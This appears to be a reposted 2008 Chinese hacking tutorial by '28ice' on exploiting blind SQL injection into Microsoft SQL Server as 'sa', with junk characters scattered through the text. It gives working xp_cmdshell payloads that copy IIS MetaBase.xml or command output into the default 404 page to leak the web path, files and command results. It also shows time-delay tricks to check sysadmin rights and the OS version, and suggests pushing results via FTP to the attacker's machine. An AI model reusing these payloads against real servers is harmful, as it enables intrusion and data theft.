遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
) y" z: c8 P" S7 o2 A' Z* e! Z5 Z6 Q0 y$ b& F: W9 j [
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。, ]* Z" l/ Z; d9 P$ Q8 E
! {6 p$ u) E6 L7 w3 t3 I 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
& m) g% k) Z- Y* [7 s6 y: c V0 T* R6 q6 Z' [, s. z/ H
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm% P( f5 E, a2 K# L. b- B
/ B [* @ Y6 a" g& q/ [ 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--% U3 R# P! J6 I2 y0 y' E
+ ? y; `) {! N0 B$ v; o ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。" h. ~( Y& g/ A8 q1 w. f) R' r
" z& i# m; F5 q! ?
执行命令得到回显 q# k3 \. K8 w# n2 r' d
6 y# Z0 I& b" a& h! ^
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
4 T$ P) J. l' N: I1 D% `
( q0 W. k2 O9 x 得到文件也shi相同,把文件copy到404b.htm就行了% A5 m: ]+ k/ m& S% a
2 Q4 i4 C4 `6 h0 V/ r! X by 28ice, 2008/6/26
1 W; l% V, _+ O0 g8 E0 P" p4 \$ k, U2 O4 J" ?% Z
摘自 28度的冰 E8 c5 [$ h& k* U1 @4 T1 K! r
! o; u2 t ^5 l0 v) d I4 E
盲注判断权限和操作系统版本
/ R4 d" t% d3 g/ F
- Q6 f5 a" _* _ 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
$ F- F( Z0 \. }' F0 g3 o! `
1 J! r/ L) }3 A2 J 最简单的,可能以用这样的方法:) c3 a! b; a0 r/ v2 x
2 t8 s1 q! I" }' ~+ V- t 1=(select IS_SRVROLEMEMBER(’sysadmin’))
& Q% m d! K9 G- e- U9 d- v4 ^" s* t& L% ?" e9 I7 n5 ?8 Z
当然,有些情况下,这个方法并不奏效。6 V1 |( X$ C3 p7 @
0 `' t# o2 S, Z/ v! F$ p$ d2 J; `( ?( p7 b
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。5 j$ W7 c* }5 \9 a! ^, C8 @. T
9 e/ a e3 E% g8 n5 B& X
有个3办法可能以解决这个问题0 _$ F2 e0 `/ K
7 ?6 d6 W% I7 T2 Z
a.把执行结果写到404b.htm,具体请看我的上一篇文章
* W& k. Y5 s# U' Z; u L6 T8 W: ^ z6 A7 T
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟2 `3 n6 N) l% m) \- s7 Z$ R# t Q' a
: k @4 C4 |6 P; `0 [3 u8 }
c.如果1433端口可能以连接,那干脆新建个sql登录. l, L! y5 R* E
2 z; }# \' f6 A$ A: I, \2 x ` d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数, i6 O& h/ R9 O( y4 Q- l
5 [5 ]! i5 E# h3 ^
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下* \2 \4 L) s5 r
" X$ }& |* u& _/ s+ ~8 s
很简单3 T4 _+ a# a, _4 A' W7 V; e
+ F2 o7 H- z: F" K, U
执行systeminfo9 @* b* e. G8 t$ q3 ? r2 {( r6 }
0 h+ i- L2 a$ S6 ^3 R# @% C
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |